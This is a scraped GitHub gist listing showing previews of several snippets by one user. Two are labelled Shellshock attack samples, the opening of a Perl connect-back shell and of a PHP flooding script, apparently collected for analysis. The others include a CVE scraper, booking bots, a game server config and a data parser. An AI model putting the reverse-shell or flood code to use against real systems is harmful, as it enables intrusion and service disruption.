Skip to content

Instantly share code, notes, and snippets.

View diogomonica's full-sized avatar

Diogo Mónica diogomonica

View GitHub Profile
@diogomonica
diogomonica / a.pl
Created September 26, 2014 18:17
Shellshock perl connect-back shell
#!/usr/bin/perl -w
use IO::Socket;
use Fcntl;
# IOCTLs
$TIOCGPTN = -2147199952;
$TIOCSPTLCK = 1074025521;
$EAGAIN=11;
@diogomonica
diogomonica / conf.php
Created September 26, 2014 17:38
Shellshock attack conf.php
?php
error_reporting(E_ERROR | E_PARSE);
ignore_user_abort(TRUE);
$packets = 0;
set_time_limit(0);
$length=65000;
$sp=1;
function rndstr($length) {
$charset = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
@diogomonica
diogomonica / cve_rh_search.rb
Last active August 29, 2015 14:04
Get description of the all the CVE's for vulnerabilities that affect RHEL, given an importance level and a year
require 'nokogiri'
require 'open-uri'
def get_cve_description_text(cve_id)
cve_search = Nokogiri.HTML(open("http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=#{cve_id}"))
description = cve_search.xpath('//*[@id="GeneratedTable"]')
description_text = description.text
begin
description_text = description[0].children[1].children[3].text
rescue => e
### Keybase proof
I hereby claim:
* I am diogomonica on github.
* I am diogomonica (https://keybase.io/diogomonica) on keybase.
* I have a public key whose fingerprint is 9D76 4CD5 0699 B67B 5840 5663 2392 3F3E 3881 7C25
To claim this, I am signing this object:
require 'rubygems'
require 'mechanize'
require 'pry'
def start_url()
return "https://booknow.appointment-plus.com/6gj719v2/"
end
url = start_url()
agent = Mechanize.new { |agent|
insserver@bear:~/serverfiles/insurgency/cfg$ cat ins-server.cfg
// server name
hostname "Amor de Gandalf"
// rcon passsword
rcon_password "?????????"
// Server password
sv_password "bruno"
// ---------------------------------------------------------------
<!DOCTYPE html>
<head>
<title>fft.js</title>
<script src='lib/real.js'></script>
<script src='lib/complex.js'></script>
<script>
var input = new Float64Array(32);
var result = new Float64Array(64);
require 'rubygems'
require 'mechanize'
FIRST_NAME = 'FIRST_NAME'
LAST_NAME = 'LAST_NAME'
PHONE = 'PHONE'
EMAIL = 'EMAIL@provider.com'
PARTY_SIZE = 2
SCHEDULE_RANGE = { :start_time => '19:00', :end_time => '20:30' }
#! /bin/bash
url="http://rez.urbanspoon.com/b/widget/2086?background=ebf3fd&border=bbd4f1&header=000&link=0144a7&locale=en&source=selfhost&text=000"
hash=`cat /tmp/state_bird`
`curl $url | md5sum | awk '{print $1}' > /tmp/state_bird`
newhash=`cat /tmp/state_bird`
if [[ "$hash" != "$newhash" ]]; then echo "Reservations page just changed: http://statebirdsf.com/reservations/ - $newhash" | mail -s Reservations diogo.monica@gmail.com; fi
require 'rubygems'
require 'nokogiri'
ATTRIBUTES = ['accelx', 'accely', 'accelz', 'altitude',
'depth', 'heading', 'lat', 'long', 'pitch',
'pitchrate', 'roll', 'rollrate', 'yawrate']
f = File.open(ARGV[0])
doc = Nokogiri::XML(f)
f.close